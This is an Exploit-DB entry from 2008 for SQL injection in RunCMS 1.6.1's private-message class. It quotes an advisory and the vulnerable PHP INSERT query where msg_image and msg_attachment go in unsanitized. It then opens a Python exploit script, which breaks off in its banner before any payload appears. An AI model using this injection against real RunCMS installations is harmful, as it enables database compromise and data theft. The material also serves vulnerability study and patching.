Exploit-DB #31749
Description: RunCMS 1.6.1 - 'pm.class.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-05-06
Author: The:Paradox

Exploit:
source: https://www.securityfocus.com/bid/29069/info

RunCMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

RunCMS 1.6.1 is vulnerable; other versions may also be affected.

#!/usr/bin/python
"""
#=================================================================================================#
#                     ____            __________         __             
____  __                  #
#                    /_   | ____     |__\_____  \  _____/  |_          
/_   |/  |_                #
#                     |   |/    \    |  | _(__  <_/ ___\   __\  ______  
|   \   __\               #
#                     |   |   |  \   |  |/       \  \___|  |   /_____/  
|   ||  |                 #
#                     |___|___|  /\__|  /______  /\___  >__|            
|___||__|                 #
#                              \/\______|      \/     \/                                          
#
#=================================================================================================#
#                                     This is a public Exploit                                    
#
#=================================================================================================#
#  	           		           Runcms <= 1.6.1                                        
#
#                                    Sql Injection Vulnerability                                  
#
#                                         Benchmark Method                                        
#
#=================================================================================================#
#                                .-= In memory of our friend rGod =-.                        	  
#
#====================================#===========#====================================#===========#
# Server Configuration Requirements  #           # Some Information                   
#           #
#====================================#		 
#====================================#           #
#                                                #                                                
#
# magic_quotes_gpc = 0                           #  Vendor:   runcms.org	                  
#
#                                                #  Author:   
The:Paradox                         #
#================================================#  Severity: Moderately 
Critical                 #
#                                                #                                                
#
# Uff... I have to find something to put here... #  Proud To Be Italian.                          
#
#                                                #                                                
#
#====================================#===========#================================================#
# Proof Of Concept / Bug Explanation #                                                            
#
#====================================#                                                            
#
#												  
#
# This time i'm really too lazy to write a long PoC.						  
#
# $msg_image (but also $msg_attachment) is unproperly checked when 
calling store()	          #
# function (modules/messages/class/pm.class.php) 						  
#
# Sql injection in insert syntax (whatever I am not using blind attack). 
Prefix knowledge needed. #
#												  
#
#=================================================================================================#

[modules/messages/class/pm.class.php]


64. 	function store() {

65.	global $db, $upload;

66.
67.	if ( !$this->isCleaned() ) {

68.		if ( !$this->cleanVars() ) {

69.			return false;

70.		}

71.	}

72.	

73.	foreach ( $this->cleanVars as $k=>$v ) {

74.		$$k = $v;

75.	}

76.	

77.	if ( empty($msg_id) ) {

78.	

79.		$msg_id = 
$db->genId($db->prefix('private_msgs').'_msg_id_seq');
80.		
81.		$sql = "

82.			INSERT INTO ".$db->prefix("private_msgs")." SET

83.			msg_id=".intval($msg_id).",

84.			msg_image='$msg_image',

85.			msg_attachment='$msg_attachment',

86.			subject='$subject',

87.			from_userid=".intval($from_userid).",

88.			to_userid=".intval($to_userid).",

89.			msg_time=".time().",

90.			msg_text='$msg_text',

91.			read_msg=0,

92.			type='".$type."',

93.			allow_html=".intval($allow_html).",

94.			allow_smileys=".intval($allow_smileys).",

95.			allow_bbcode=".intval($allow_bbcode).",

96.			msg_replay=".intval($msg_replay)."";

97.	}

98.
99.	if ( !$result = $db->query($sql) ) {

100.		$this->errors[] = _NOTUPDATED;

101.		return false;

102.	}

103.
104.	return true;

105.	}
												  
#=================================================================================================#
# There are other vulnerabilities in this CMS. Find them by yourself. 		                  
#
#=================================================================================================#
# Use this at your own risk. You are responsible for your own deeds.                              
#
#=================================================================================================#
#                                      Python Exploit Starts                                      
#
#=================================================================================================#
"""

import urllib, urllib2
from sys import argv, exit


main = """
#================================================================#
#  	                  Runcms <= 1.6.1                        #
#                   Sql Injection Vulnerability                  #
#                     D